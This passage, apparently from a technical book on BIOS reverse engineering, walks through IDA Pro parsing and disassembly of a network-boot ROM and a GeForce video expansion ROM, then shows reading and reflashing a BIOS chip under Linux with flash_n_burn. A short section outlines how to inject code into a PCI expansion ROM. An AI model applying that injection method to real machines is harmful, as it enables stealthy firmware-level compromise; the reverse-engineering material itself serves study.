  MakeWord(0x1A); MakeName(0x1A, "PnP_Struc_Ptr"); 
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  MakeComm(0x1A, "Plug and Play data structure pointer"); 
  OpOff(0x1A, 0, 0); 
  ea = Word(0x1A); 
 
  MakeDword(ea); MakeName(ea, "$PnP"); 
  MakeComm(ea, "PnP data structure signature"); 
 
  MakeByte(ea+4); MakeName(ea+4, "struc_rev"); 
  MakeComm(ea+4, "structure revision"); 
 
  MakeByte(ea+5); MakeName(ea+5, "length"); 
  MakeComm(ea+5, "length in multiple of 16 bytes"); 
 
  MakeWord(ea+6); MakeName(ea+6,"next_hdr_offset"); 
  MakeComm(ea+6, "offset to next header (0000h if none)"); 
 
  MakeByte(ea+8); MakeName(ea+8, "reserved_"); 
  MakeComm(ea+8, "reserved"); 
 
  MakeByte(ea+9); MakeName(ea+9, "checksum"); 
  MakeComm(ea+9, "checksum"); 
 
  MakeDword(ea+0xA); MakeName(ea+0xA,"dev_id"); 
  MakeComm(ea+0xA, "Device Identifier"); 
 
  MakeWord(ea+0xE); MakeName(ea+0xE,"manufacturer_str"); 
  MakeComm(ea+0xE, "pointer to manufacturer string"); 
 
  MakeWord(ea+0x10); MakeName(ea+0x10,"product_str"); 
  MakeComm(ea+0x10, "pointer to product string"); 
 
  MakeByte(ea+0x12); MakeName(ea+0x12,"dev_type_1"); 
  MakeComm(ea+0x12, "device type (byte 1)"); 
 
  MakeByte(ea+0x13); MakeName(ea+0x13,"dev_type_2"); 
  MakeComm(ea+0x13, "device type (byte 2)"); 
 
  MakeByte(ea+0x14); MakeName(ea+0x14,"dev_type_3"); 
  MakeComm(ea+0x14, "device type (byte 3)"); 
 
  MakeByte(ea+0x15); MakeName(ea+0x15,"dev_indicator"); 
  MakeComm(ea+0x15, "device indicator"); 
 
  MakeWord(ea+0x16); MakeName(ea+0x16,"bcv"); 
  MakeComm(ea+0x16, "boot connection vector (0000h if none)"); 
 
  MakeWord(ea+0x18); MakeName(ea+0x18,"dv"); 
  MakeComm(ea+0x18, "disconnect vector (0000h if none)"); 
 
  MakeWord(ea+0x1A); MakeName(ea+0x1A,"bev"); 
  MakeComm(ea+0x1A, "bootstrap entry vector (0000h if none)"); 
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  MakeWord(ea+0x1C); MakeName(ea+0x1C,"reserved__"); 
  MakeComm(ea+0x1C, "reserved"); 
 
  MakeWord(ea+0x1E); MakeName(ea+0x1E,"siv"); 
  MakeComm(ea+0x1E,"static resource information vector (0000h if none)"); 
} 
return 0; 
} 
 
 Listing 8.1 is constructed based on the PCI expansion ROM specification and PnP 
specification that you learned in the previous chapter, specifically, the header layout. To 
use the script in listing 8.1, open the ROM binary starting at segment 0000h and offset 
0000h in IDA Pro. You can't know the exact loading segment for any expansion ROM 
because it depends on the system configuration. The system BIOS is responsible for 
system-wide address space management, including initializing the base address for the 
XROMBARs and loading and initializing every PCI expansion ROM in the system. That's 
why you load the binary in segment 0000h. Actually, any segment is OK; it won't make a 
difference. Furthermore, as shown later, every data-related instruction would use references 
based on the code segment.4 You have to disassemble the binary in 16-bit mode, because 
the processor is running in real-mode during expansion ROM initialization. The result of 
parsing rpl.rom with IDA Pro script is in listing 8.1. 
 

Listing 8.2 Rpl.rom Parsing Result 

0000:0000 magic_number dw 0AA55h  ; Magic number 
0000:0002 rom_size db 1Ch         ; 14,336 bytes 
0000:0003 ; ------------------------------------------------------------- 
0000:0003 entry_point:            ; Jump to initialization function 
0000:0003   jmp   short loc_43 
0000:0003 ; ------------------------------------------------------------- 
0000:0005   db  4Eh ; N 
0000:0006   db  65h ; e 
0000:0007   db  74h ; t 
0000:0008   db  57h ; W 
0000:0009   db  61h ; a 
0000:000A   db  72h ; r 
0000:000B   db  65h ; e 
0000:000C   db  20h 
0000:000D   db  52h ; R 
0000:000E   db  65h ; e 
0000:000F   db  61h ; a 
0000:0010   db  64h ; d 
0000:0011   db  79h ; y 
0000:0012   db  20h 

                                                 
 
4 The code segment is pointed to by the cs register in x86 processors. 
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0000:0013   db  52h ; R 
0000:0014   db  4Fh ; O 
0000:0015   db  4Dh ; M 
0000:0016   db    0 
0000:0017   db    0 
0000:0018 PCI_Struc_Ptr dw offset PCIR ; PCI data structure pointer 
0000:001A PnP_Struc_Ptr dw offset $PnP ; PnP data structure pointer 
0000:001C   db  0Eh 
0000:001D   db  1Dh 
0000:001E   db  52h ; R 
0000:001F   db    6 
0000:0020   db 0E9h ; T 
0000:0021   db    2 
0000:0022   db    2 
0000:0023 $PnP dd 506E5024h       ; ... 
0000:0023                         ; PnP data structure signature 
0000:0027 struc_rev db 1          ; Structure revision 
0000:0028 length db 2             ; Length in multiple of 16 bytes 
0000:0029 next_hdr_offset dw 0    ; Offset to next header (0000h if none) 
0000:002B reserved_ db 0          ; Reserved 
0000:002C checksum db 4           ; ... 
0000:002C                         ; Checksum 
0000:002D dev_id dd 0             ; Device identifier 
0000:0031 manufacturer_str dw 793h ; Pointer to manufacturer string 
0000:0033 product_str dw 7A7h     ; Pointer to product string 
0000:0035 dev_type_1 db 2         ; Device type (byte 1) 
0000:0036 dev_type_2 db 0         ; Device type (byte 2) 
0000:0037 dev_type_3 db 0         ; Device type (byte 3) 
0000:0038 dev_indicator db 14h    ; ... 
0000:0038                         ; Device indicator 
0000:0039 bcv dw 0                ; Boot connection vector (0000h if 
0000:0039                         ; none) 
0000:003B dv dw 0                 ; Disconnect vector (0000h if none) 
0000:003D bev dw 168h             ; ... 
0000:003D                         ; Bootstrap entry vector (0000h if 
0000:003D                         ; none) 
0000:003F reserved__ dw 0         ; Reserved 
0000:0041 siv dw 0                ; Static resource information vector 
0000:0041 siv dw 0                ; (0000h if none) 
0000:0043 ; ------------------------------------------------------------- 
0000:0043 loc_43:                 ; ... 
0000:0043   mov   cs:word_300, ax 
0000:0047   cli 
......... 
0000:0519 PCIR dd 52494350h       ; ... 
0000:0519                         ; PCI data structure signature 
0000:051D vendor_id dw 10ECh      ; Vendor ID 
0000:051F device_id dw 8139h      ; Device ID 
0000:0521 vpd_ptr dw 0            ; Pointer to vital product data 
0000:0523 pci_struc_len dw 18h    ; PCI data structure length 
0000:0525 pci_struc_rev db 0      ; PCI data structure revision 
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0000:0526 class_code_1 db 2       ; Class code (byte 1) 
0000:0527 class_code_2 db 0       ; Class code (byte 2) 
0000:0528 class_code_3 db 0       ; Class code (byte 3) 
0000:0529 image_len dw 1Ch        ; Image length in multiple of 512 bytes 
0000:052B rev_level dw 201h       ; Revision level 
0000:052D code_type db 0          ; Code type 
0000:052E indicator db 80h        ; Indicator 
0000:052F reserved db 0           ; Reserved 
......... 
 
 Listing 8.2 clearly shows the PCI expansion ROM basic header, PCI data 
structure, and PnP data structure, along with their associated pointers within rpl.rom after it 
has been being parsed using the idc script in listing 8.1. Listing 8.2 also shows that rpl.rom 
implements bootstrap entry vector (BEV). I delve into it soon. For now, dissect the main 
code execution path during the initialization of the expansion ROM, i.e., when INIT 
function is far-called5 by the system BIOS during POST. The code execution path is shown 
in listing 8.3. 
 

Listing 8.3 Rpl.rom Main Code Execution Path 

......... 
0000:0003 entry_point:            ; Jump to initialization function 
0000:0003   jmp   short loc_43 
......... 
0000:0043 loc_43:                 ; ... 
0000:0043   mov   cs:word_300, ax 
0000:0047   cli 
......... 
0000:004E   jnb   short loc_51 
0000:0050   retf                  ; Return to system BIOS 
0000:0051 ; ------------------------------------------------------------- 
0000:0051 loc_51:                 ; ... 
0000:0051   push  cs 
0000:0052   pop   ds 
......... 
0000:00BB   jz    short loc_BE 
0000:00BD   retf                  ; Return to system BIOS 
0000:00BE ; ------------------------------------------------------------- 
0000:00BE loc_BE:                 ; ... 
0000:00BE   push  ds 
0000:00BF   push  bx 
......... 
0000:0165   pop   bx 

                                                 
 
5 The entry point (pointer) to the INIT function is placed at the offset 03h from the beginning of the 
expansion ROM. The instruction in that address is called using a 16-bit far call by the system BIOS to 
execute expansion ROM initialization. Note that PCI expansion ROM is always copied to RAM 
before being executed. 
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0000:0166   pop   ds 
0000:0167   retf                  ; Return to system BIOS 
 
 Listing 8.3 reveals the main code execution path. It's a linear execution path. The 
listing shows that the return to the system BIOS is accomplished with the retf instruction 
as expected. To recognize the initialization code execution path in a PCI expansion ROM, 
you just have to find where the retf instructions are located. Tracing the execution path 
with the retf instruction is enough, unless the expansion ROM is using an exotic 
procedure call that "abuses" the retf instruction.6
 Now, proceed to dissect the code execution path that starts from the BEV. The 
BEV is executed if you choose to boot from a local area network (LAN) in the motherboard 
BIOS setting; otherwise, it won't be executed. Furthermore, when BEV is used, the LAN 
card7 is treated as the boot device, much like the role of the hard drive in a normal operating 
system loading scenario. Listing 8.2 at address 0000:003Dh shows that the BEV value is 
offset 168h from the beginning of the expansion ROM. Thus, that address will be the 
starting point. 
 

Listing 8.4 Rpl.rom BEV Code Execution Path 

......... 
0000:0168 bev_start: 
0000:0168   pushf 
0000:0169   push  cs 
0000:016A   call  bev_proc 
0000:016D   popf 
0000:016E   xor   ax, ax 
0000:0170   retf 
......... 
0000:0190 bev_proc:               ; ... 
0000:0190   push  es 
0000:0191   push  ds 
0000:0192   push  ax 
0000:0193   pushf 
0000:0194   mov   ax, es 
......... 
 
 Listing 8.4 shows the flow of the code execution during BEV invocation by the 
system BIOS. It doesn't show the overall disassembly; it only shows the important sections. 
 
 

                                                 
 
6 I have seen such an "abuse" of the retf instruction to do procedure calling when reverse engineering 
Award BIOS. 
7 A real network card or a card with expansion ROM that's "hacked" into a network card–like ROM. 
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8.2.2. Disassembling Gigabyte GV-NX76T256D-RH GeForce 7600 
GT Expansion ROM 
 
 Now, dissect a PCI Express card expansion ROM, the GeForce 7600 GT 
expansion ROM. This card is a video card based on the Nvidia 7600 GT chip. Every video 
card is equipped with an expansion ROM to initialize it and provide the video output early 
in the boot stage. You may wonder if this is a new expansion ROM structure exclusively 
for PCI Express devices. That's not the case. The PCI Express specification doesn't define a 
new expansion ROM structure. Thus, PCI Express devices adhere to the PCI expansion 
ROM structure you learned in previous chapter. Now, dissect the expansion ROM. 
 

Listing 8.5 GeForce 7600 GT Expansion ROM Main Code Execution Path 

0000:0000 magic_number dw 0AA55h  ; Magic number 
0000:0002 rom_size db 7Fh         ; 65,024 bytes 
0000:0003 ; ------------------------------------------------------------- 
0000:0003 entry_point:            ; Jump to initialization function 
0000:0003   jmp   short INIT 
0000:0003 ; ------------------------------------------------------------- 
......... 
0000:0005   db  37h ; 7 
0000:0006   db  34h ; 4 
0000:0007   db  30h ; 0 
0000:0008   db  30h ; 0 
0000:0009   db 0E9h ; T 
0000:000A   db  4Ch ; L 
0000:000B   db  19h 
0000:000C   db  77h ; w 
0000:000D   db 0CCh ; ¦ 
0000:000E   db  56h ; V 
0000:000F   db  49h ; I 
0000:0010   db  44h ; D 
0000:0011   db  45h ; E 
0000:0012   db  4Fh ; O 
0000:0013   db  20h 
0000:0014   db  0Dh 
0000:0015   db    0 
0000:0016   db    0 
0000:0017   db    0 
0000:0018 PCI_Struc_Ptr dw offset PCIR ; PCI data structure pointer 
0000:001A   db  13h 
0000:001B   db  11h 
......... 
0000:0050 INIT:                   ; ... 
0000:0050   jmp   exec_rom_init 
......... 
0000:00A0 PCIR db 'PCIR'          ; ... 
0000:00A0                         ; PCI data structure signature 
0000:00A4 vendor_id dw 10DEh      ; Vendor ID 
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0000:00A6 device_id dw 392h       ; Device ID 
0000:00A8 vpd_ptr dw 0            ; Pointer to vital product data 
0000:00AA pci_struc_len dw 18h    ; PCI data structure length 
0000:00AC pci_struc_rev db 0      ; PCI data structure revision 
0000:00AD class_code_1 db 0       ; Class code (byte 1) 
0000:00AE class_code_2 db 0       ; Class code (byte 2) 
0000:00AF class_code_3 db 3       ; Class code (byte 3) 
0000:00B0 image_len dw 7Fh        ; ... 
0000:00B0                         ; Image length in multiple of 512 bytes 
0000:00B2 rev_level dw 1          ; Revision level 
0000:00B4 code_type db 0          ; Code type 
0000:00B5 indicator db 80h        ; Indicator 
0000:00B6 reserved db 0           ; Reserved 
......... 
0000:DA9D exec_rom_init:          ; ... 
0000:DA9D   test  cs:byte_48, 1 
0000:DAA3   jz    short loc_DAD2 
0000:DAA5   pusha 
......... 
0000:DB45   call  sub_D85F 
0000:DB48   jmp   loc_FCD3 
......... 
0000:FCD3 loc_FCD3:               ; ... 
0000:FCD3   pushad 
0000:FCD5   push  cs 
0000:FCD6   pop   ds 
......... 
0000:3890 loc_3890:               ; ... 
0000:3890   call  sub_383A 
0000:3893   xor   ah, ah 
0000:3895   mov   al, 3 
0000:3897   call  sub_112A 
0000:389A   mov   cs:byte_AC8, 0 
0000:38A0   call  sub_1849 
0000:38A3   test  cs:byte_48, 1 
0000:38A9   jnz   short loc_38B3 
0000:38AB   test  cs:byte_34, 10h 
0000:38B1   jz    short loc_38B6 
0000:38B3 
0000:38B3 loc_38B3:               ; ... 
0000:38B3   call  sub_AF6 
0000:38B6 
0000:38B6 loc_38B6:               ; ... 
0000:38B6   call  sub_C22D 
0000:38B9   clc 
0000:38BA   call  sub_C1F7 
0000:38BD   call  sub_4739 
0000:38C0   call  sub_3872 
0000:38C3   pop   bp 
0000:38C4   retf                  ; Return to system BIOS 
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 Listing 8.5 shows that the PCI Express expansion ROM used in the GeForce 7600 
GT video card doesn't adhere to the PnP BIOS specification. However, it adheres to the PCI 
expansion ROM specification, i.e., with the presence of a valid PCI data structure.8 Note 
that even though listing 8.5 at address 0000:001Ah shows that it contains a nonzero value, 
it doesn't point to a valid PnP data structure.9 Thus, you found the main code execution path 
by following the jump to the INIT function and tracing the execution until you found the 
retf instruction that marks the return to the system BIOS. 
 
 
8.2.3. A Note on Expansion ROM Code Injection Possibility 
 
 The PCI expansion ROM disassembly session in the previous sections shows that 
the PCI expansion ROM is relatively straightforward to reverse engineer. Furthermore, it's 
relatively easy to inject code into an operational PCI expansion ROM. All you have to do to 
implement it are the following: 
 

• Redirect the INIT function pointer. 
• Fixing the ROM checksum as needed. 
• Fix the overall ROM size in the header if the new binary is bigger than the older 

one. 
 
 One thing to note: the overall ROM size (including the injected code) must not be 
bigger than the capacity of the ROM chip. 
 
 
 

                                                 
 
8 A valid PCI data structure in PCI expansion ROM starts with the "PCIR" string. 
9 A valid PnP data structure in PCI expansion ROM starts with the "$PnP" string. 
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Chapter 9 Accessing BIOS within the 
Operating System 
 
 
PREVIEW 
 
 In this chapter, you will learn to access the contents of a BIOS chip directly within 
an operating system, including the contents of the PCI expansion ROM chip. The first 
section explains the basic principles; the next sections delve into specific issues of the 
operating system and their corresponding interfaces. The chapter explores the proof of 
concept of this idea in Linux and Windows. 
 
 
9.1. General Access Method 
 
 Accessing the BIOS chip contents directly within a running operating system may 
seem like a tough job. It won't be as hard as you think. You can access and manipulate the 
BIOS chip directly within the operating system only if the chip is EEPROM or flash ROM. 
Fortunately; all motherboards since the late 1990s use one of these types of chip. 
 Different operating systems have different software layers. However, the logical 
steps to access the BIOS contents within them remain almost the same. This is because of 
the programming model in x86 architecture. Most operating systems in x86 architecture use 
two privilege levels provided by the hardware to allow seamless access to system resources 
among applications. They are known as ring 0, or the kernel mode, and ring 3, or the user 
mode. Any software that runs in kernel mode is free to access and manipulate the hardware 
directly, including the BIOS chip. Thus, the general steps to access the BIOS chip in the 
motherboard directly within the operating system are as follows: 
 

1. Enter kernel mode in the operating system. In most cases, you need to make an 
operating system–specific device driver in this step. You have to build a device 
driver for two reasons. First, the operating system will grant kernel-mode access 
only to device drivers. Second, in most cases, operating systems don't provide a 
well-defined software interface to manipulate the BIOS chip—if they even have 
such an interface. At first sight, it might seem that you have to use a different 
approach to provide access to manipulate the BIOS chip for a user-mode 
application in Linux and Windows through the device driver. However, this is not 
the case. Uniform software architecture works just fine. The basic purpose of the 
device driver is to provide direct access to the BIOS chip address space for the 
user mode application. As shown in a later section, you don't even need to build a 
device driver in Linux for this concept to work, because the Linux kernel provides 
access to the BIOS address space through the virtual file in /dev/mem. The basic 
method for "exporting" the BIOS chip address space to a user-mode application is 
as follows: 



a. Map the physical address range of the BIOS chip, i.e., the address space near 
the 4-GB limit to the virtual address space of the process1 that will access the 
BIOS chip. 

b. Create a pointer to the beginning of the mapped BIOS chip in the process's 
virtual address space. 

c. Use the pointer in the previous step to manipulate the contents of the BIOS 
chip directly from the user-mode application. This means you can use an 
indirection operator to read the contents of the chip. However, for a write 
operation, there are some prerequisites because a BIOS chip is ROM. The 
same is true for BIOS chip erase operation. 

2. Perform hardware-specific steps to access and manipulate the BIOS chip contents. 
In this step, you need to know the details of the hardware method for accessing the 
BIOS chip. This method is explained in the chipset datasheet and the BIOS chip 
datasheet. Generally, the hardware method is a series of steps as follows: 
a. Configure the chipset registers to enable read and write access to the BIOS 

chip address space. In x86, the BIOS chip address space is located near the 4-
GB limit. Usually, the chipset registers that control access to the BIOS chip 
are located in the southbridge. 

b. Probe the BIOS chip in some predefined addresses to read the manufacturer 
identification bytes and the chip identification bytes. These identification 
bytes are needed to determine the method you should use to access the 
contents of the BIOS chip. Note that every BIOS chip manufacturer has its 
own command set to access the contents of the chip. Some commands have 
been standardized by the JEDEC Solid State Technology Association. 

c. Write and read the binary to and from the chip according to manufacturer's 
specification. 

 
 This is the big picture of the method that you have to use to access and manipulate 
the BIOS contents within operating system. The next sections delve into operating system–
specific implementations of the concepts. 
 
 
9.2. Accessing Motherboard BIOS Contents in Linux 
 
 You learned about general direct access to the BIOS chip within an operating 
system in section 9.1. As a proof of concept, I show you how to perform this task in Linux. 
I conduct the experiment in an Iwill VD133 motherboard. This motherboard is old, from 
2000. I chose it for two reasons. First, I want to show you that even in an old motherboard 
this task can be performed. Second, because this motherboard is old enough, its datasheets 
are available free of charge on the Internet.2 You need the chipset datasheet and its BIOS 

                                                 
1 Process in this context means an instance of a currently running user-mode application. 
2 Datasheets for Intel chipsets and AMD chipsets are usually available for download upon of the 
introduction of the chipset to the market. This is not the case for chipsets made by VIA, Nvidia, SiS, 
and many other manufacturers. 



chip datasheet to be able to access and manipulate the BIOS contents. The specifications of 
the system that I use are as follows: 
 

1. The motherboard is Iwill VD133 with an VIA 693A northbridge and an VIA 596B 
southbridge. The original BIOS is dated July 28, 2000. The BIOS chip is a 
Winbond W49F002U flash ROM chip. 

2. The operating system is Linux Slackware 9.1 with kernel version 2.4.24. The 
source of the kernel is installed as well. It's needed to compile the software so that 
I can access the BIOS chip contents directly. 

 
 From this point on, regard the preceding system as the target system. 
 Now, continue to the documentation that you need to carry out the task: 
 

1. The chipset datasheet, particularly the southbridge datasheet, is needed. In an x86 
motherboard, the southbridge controls access into the BIOS chip. In this case, you 
need the VIA 596B datasheet. Fortunately, the chipset datasheet is free online at 
http://www.megaupload.com/?d=FF297JQD. 

2. The BIOS chip datasheet is also needed, because every BIOS chip has its own 
command set, as explained in section 9.1. In this case, you need the Winbond 
W49F002U datasheet. It's available online at http://www.winbond.com/e-
winbondhtm/partner/_Memory_F_PF.htm. 

 
 A tool is also needed to access the BIOS chip. I prefer to build the tool myself 
because I'll have full control of the system without relying on others. Fortunately, the 
Freebios project developers have done the groundwork. They have made a Linux BIOS 
flasher3 program. It's called flash_n_burn. The source code of this program is free at 
http://sourceforge.net/cvs/?group_id=3206. It's also accessible at 
http://freebios.cvs.sourceforge.net/freebios/freebios/util/flash_and_burn/ for manual 
download. It's unfortunate that this tool is not included by default in the Freebios 
distribution. With this tool, you can dump the BIOS binary from the BIOS chip and flash 
the BIOS binary file to the BIOS chip directly in Linux. More importantly, I'll show you 
how it works under the hood. You might want to download it and tailor it to your liking 
later. 
 
 
9.2.1. Introduction to flash_n_burn 
 
 Let me show you how to compile the source code. You need to copy the source 
code into a directory and then compile it from there. In this example, place the code in the 
~/Project/freebios_flash_n_burn directory. Then, compile it by invoking the make 
utility as shown in shell snippet 9.1. Note that you can clean the compilation result by 
invoking make clean inside the source code directory. 
 

                                                 
3 BIOS flasher is software used to burn, or flash, a BIOS binary file into the BIOS chip. 



Shell snippet 9.1 Compiling flash_n_burn 

pinczakko@opunaga:~/Project/freebios_flash_n_burn> make 
gcc -O2 -g -Wall -Werror    -c -o flash_rom.o flash_rom.c 
gcc -O2 -g -Wall -Werror    -c -o jedec.o jedec.c 
gcc -O2 -g -Wall -Werror    -c -o sst28sf040.o sst28sf040.c 
gcc -O2 -g -Wall -Werror    -c -o am29f040b.o am29f040b.c 
gcc -O2 -g -Wall -Werror    -c -o sst39sf020.o sst39sf020.c 
gcc -O2 -g -Wall -Werror    -c -o m29f400bt.o m29f400bt.c 
gcc -O2 -g -Wall -Werror    -c -o w49f002u.o w49f002u.c 
gcc -O2 -g -Wall -Werror    -c -o 82802ab.o 82802ab.c 
gcc -O2 -g -Wall -Werror    -c -o msys_doc.o msys_doc.c 
gcc -O2 -g -Wall -Werror -o flash_rom flash_rom.c jedec.o sst28sf040.o 
am29f040b.o mx29f002.c sst39sf020.o m29f400bt.o w49f002u.o 82802ab.o 
msys_doc.o -lpci 
gcc -O2 -g -Wall -Werror -o flash_on flash_on.c 
pinczakko@opunaga:~/Project/freebios_flash_n_burn> 
 
 The results of the compilation in shell snippet 9.1 are two executable files named 
flash_on and flash_rom, as shown in shell snippet 9.2. Note that I have removed 
irrelevant files entries in shell snippet 9.2. 
 

Shell snippet 9.2 Executables for flash_n_burn 

pinczakko@opunaga:~/Project/freebios_flash_n_burn> ls -l 
... 
-rwxr-xr-x    1 pinczakko users       25041 Aug  5 11:49 flash_on* 
-rwxr-xr-x    1 pinczakko users      133028 Aug  5 11:49 flash_rom* 
... 
 
 In reality, the flash_on executable is not used because its functionality already 
present in the flash_rom executable. Originally, flash_on was used to activate access to 
the BIOS chip through the southbridge of the SiS chipset. However, this functionality has 
since been integrated into the flash_rom utility. Thus, I only consider the usage of 
flash_rom here. Running the flash_rom utility is as simple as invoking it as shown in 
shell snippet 9.3. If you input the wrong parameters, flash_rom will show the right input 
parameters. This is shown in shell snippet 9.3. Note that to take full advantage of 
flash_rom you have to acquire an administrator account, as shown in shell snippet 9.4. 
Without an administrator account, you can't even read the contents of the BIOS chip. This 
is because of the I/O privilege level needed to run the software. 
 

Shell snippet 9.3 Finding flash_rom Valid Input Parameters 

pinczakko@opunaga:~/Project/A-List_Publishing/freebios_flash_n_burn> 
./flash_rom --help 
./flash_rom: invalid option -- - 
usage: ./flash_rom [-rwv] [-c chipname][file] 
-r: read flash and save into file 



-w: write file into flash (default when file is specified) 
-v: verify flash against file 
-c: probe only for specified flash chip 
 If no file is specified, then all that happens 
 is that flash info is dumped 
 
 I now dump the BIOS binary of the target system. However, before that, I have to 
log on as administrator. The result is shown in shell snippet 9.4. Note that I have condensed 
the console output to highlight the important parts. 
 

Shell snippet 9.4 Dumping the BIOS Binary from BIOS Chip into the File in Linux 

root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# 
./flash_rom -r dump.bin 
Calibrating timer since microsleep sucks ... takes a second 
Setting up microsecond timing loop 
128M loops per second 
OK, calibrated, now do the deed 
Enabling flash write on VT82C596B ... OK 
Trying Am29F040B, 512 KB 
probe_29f040b: id1 0x25, id2 0xf2 
Trying At29C040A, 512 KB 
probe_jedec: id1 0xda, id2 0xb 
Trying Mx29f002, 256 KB 
probe_29f002: id1 218, id2 11 
... 
Trying W49F002U, 256 KB 
probe_49f002: id1 0xda, id2 0xb 
flash chip manufacturer id = 0xda 
W49F002U found at physical address: 0xfffc0000 
Part is W49F002U 
Reading flash ... Done 
 
 Shell snippet 9.4 shows the BIOS chip probing process. First, flash_rom enables 
access to the BIOS chip by configuring the VIA 596B southbridge registers. Then, it probes 
for every chip that it supports. In this case, Winbond W49F002U is detected and its content 
is dumped into the dump.bin file. Notice the -r parameter passed into flash_rom. This 
parameter means: I want to read the BIOS chip contents. You can confirm this from shell 
snippet 9.3. 
 The BIOS binary that I dumped previously is in binary format. Thus, to view it, I 
need a special utility from Linux named hexdump. This utility is meant to be compliant 
with the portable operating system interface. You can find this utility in most UNIX and 
Linux distributions. I use the command shown in console snippet 9.5 to view the contents 
of the BIOS binary in the Linux console. 
 



Shell snippet 9.5 Reading the BIOS Binary in Linux 

root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# hexdump -f 
fmt dump.bin | less 
 
 The command in the preceding shell snippet is using a custom formatting file 
named fmt. This file is an ordinary text file used to format the output of hexdump. The 
content of this file is shown in listing 9.1. 
 

Listing 9.1 fmt Content 

"%06.6_ax  "  12/1 "%02X " 
"  " "%_p " 
"\n" 
 
 If you are confused about the meaning of listing 9.1, please refer to the explanation 
of listing 7.9 in section 7.3.4. Both files are the same. The result of the command in shell 
snippet 9.5 is shown in hex dump 9.1. 
 

Hex dump 9.1 dump.bin 

Address      Hexadecimal Values                         ASCII 
000000  25 F2 2D 6C 68 35 2D 85 3A 00 00 C0  % . - l h 5 - . : . . . 
00000c  57 00 00 00 00 00 41 20 01 0C 61 77  W . . . . . A   . . a w 
000018  61 72 64 65 78 74 2E 72 6F 6D DB 74  a r d e x t . r o m . t 
000024  20 00 00 2C F8 8E FB DF DD 23 49 DB  . . , . . . . . # I . 
...... 
03ff90  00 00 00 00 00 00 00 00 00 00 00 00  . . . . . . . . . . . . 
* 
03ffe4  00 00 00 00 32 41 36 4C 47 49 33 43  . . . . 2 A 6 L G I 3 C 
03fff0  EA 5B E0 00 F0 2A 4D 52 42 2A 02 00  . [ . . . * M R B * . . 
03fffc  00 00 FF FF                          . . . . 
 
 Hex dump 9.1 is a condensed version of the output from the Linux console. This 
hex dump shows the first compressed part in the BIOS binary and the end of the boot block. 
 Then, I proceed to flash the binary that I dumped earlier to ensure that the 
flash_rom utility is working as expected. This process is shown in shell snippet 9.6. 
 

Shell snippet 9.6 Flashing the BIOS Binary in Linux 

root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# 
./flash_rom -wv dump.bin 
Calibrating timer since microsleep sucks ... takes a second 
Setting up microsecond timing loop 
128M loops per second 
OK, calibrated, now do the deed 
Enabling flash write on VT82C596B ... OK 
Trying Am29F040B, 512 KB 



probe_29f040b: id1 0x25, id2 0xf2 
Trying At29C040A, 512 KB 
probe_jedec: id1 0xda, id2 0xb 
Trying Mx29f002, 256 KB 
probe_29f002: id1 218, id2 11 
... 
Trying W49F002U, 256 KB 
probe_49f002: id1 0xda, id2 0xb 
flash chip manufacturer id = 0xda 
W49F002U found at physical address: 0xfffc0000 
Part is W49F002U 
Programming Page: address: 0x0003f000 
Verifying address: VERIFIED 
root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# 
 
 Shell snippet 9.6 shows that the flash_rom utility probes the motherboard to find 
the BIOS chip, flashes the BIOS binary into the BIOS chip, and then verifies the result 
before exiting back to the console. 
 Now, you should be comfortable with the BIOS flashing utility. In the next 
subsection, you will learn the details of method used to access the BIOS chip contents once 
you have obtained an administrator account. 
 
 
9.2.2. Internals of flash_n_burn 
 
 Now, you will learn how flash_n_burn accesses the BIOS chip directly in 
Linux. This is the most important concept to grasp in this section. You'll start with the 
techniques to traverse the source code of flash_n_burn efficiently. A proficient 
programmer or hacker has an efficient way to extract information from source codes. There 
are two important tools to do so: 
 

1. A powerful text editor that can traverse the source code by parsing a tag file 
generated from the source code. 

2. A program can be used to create the tag file from the source code. A tag file is a 
file that "describes" the interconnections between the data structures and the 
functions in a source code. In this particular source code, I'm using vi as the text 
editor and ctags as the program to create the tag file. 

 
 Start with the creation of the tag file. You need to move into the root directory of 
the source code and then create the tag file there, as shown in shell snippet 9.7. 
 

Shell snippet 9.7 Creating the Tag in Linux 

pinczakko@opunaga:~/Project/freebios_flash_n_burn> ctags -R * 
 
 The parameters in the ctags invocation in shell snippet 9.7 are read as follows: 



 
• -R means traverse the directories recursively starting from the current directory 

and include in the tag file the source code information from all traversed 
directories. 

• * means create tags in the tag file for every file that ctags can parse. 
 
 Once you've invoked ctags like that, the tag file will be created in the current 
directory and named tags, as shown in shell snippet 9.8. 
 

Shell snippet 9.8 The Tag File 

pinczakko@opunaga:~/Project/freebios_flash_n_burn> ls -l 
... 
-rw-r--r--    1 pinczakko users       12794 Aug  8 09:06 tags 
... 
 
 I condensed the shell output in shell snippet 9.8 to save space. Now, you can 
traverse the source code using vi. I'll start with flash_rom.c. This file is the main file of the 
flash_n_burn utility. Open it with vi and find the main function within the file. When 
you are trying to understand a source code, you have to start with the entry point function. 
In this case, it's main. Now, you can traverse the source code; to do so, place the cursor in 
the function call that you want to know and then press Ctrl+] to go to its definition. If you 
want to know the data structure definition for an object,5 place the cursor in the member 
variable of the object and press Ctrl+]; vi will take you to the data structure definition. To 
go back from the function or data structure definition to the calling function, press Ctrl+t. 
Note that these key presses apply only to vi; other text editors may use different keys. As 
an example, refer to listing 9.2. Note that I condensed the source code and added some 
comments to explain the steps to traverse the source code. 
 

Listing 9.2 Moving flash_n_burn Source Code 

// -- file: flash_rom.c -- 
int main (int argc, char * argv[]) 
{ 
  // Irrelevant code omitted 
 
  (void) enable_flash_write(); // You will find the definition of this 
                               // function. Place the cursor in the 
                               // enable_flash_write function call, then 
                               // press Ctrl+]. 
   // Irrelevant code omitted 
} 
 

                                                 
5 An object is a data structure instance. For example if a data structure is named my_type, then a 
variable of type my_type is an object, as in my_type a_variable; a_variable is an object. 



// Irrelevant code omitted 
 
int enable_flash_write() { 
   // This place is reached once you've pressed Ctrl+]. 
   // To return to the function main(), press Ctrl+t here. 
 
   // Irrelevant code omitted 
} 
 
 The current version of flash_n_burn doesn't support VIA 596B southbridge. 
Thus, I added my own code to support this southbridge. Without it, I would not be able to 
access the BIOS chip in Linux. I'll explain how to add this support. It's the time to 
implement the trick to traverse the source code that you've just learned. 
 The entry point of flash_n_burn is a function named main in the flash_rom.c 
file. In this function, you found a call to the function enable_flash_write that enables the 
decoding of BIOS address ranges near the 4-GB limit. Now, go to the definition of this 
function. You will find the call to a member function of the supported southbridge object. 
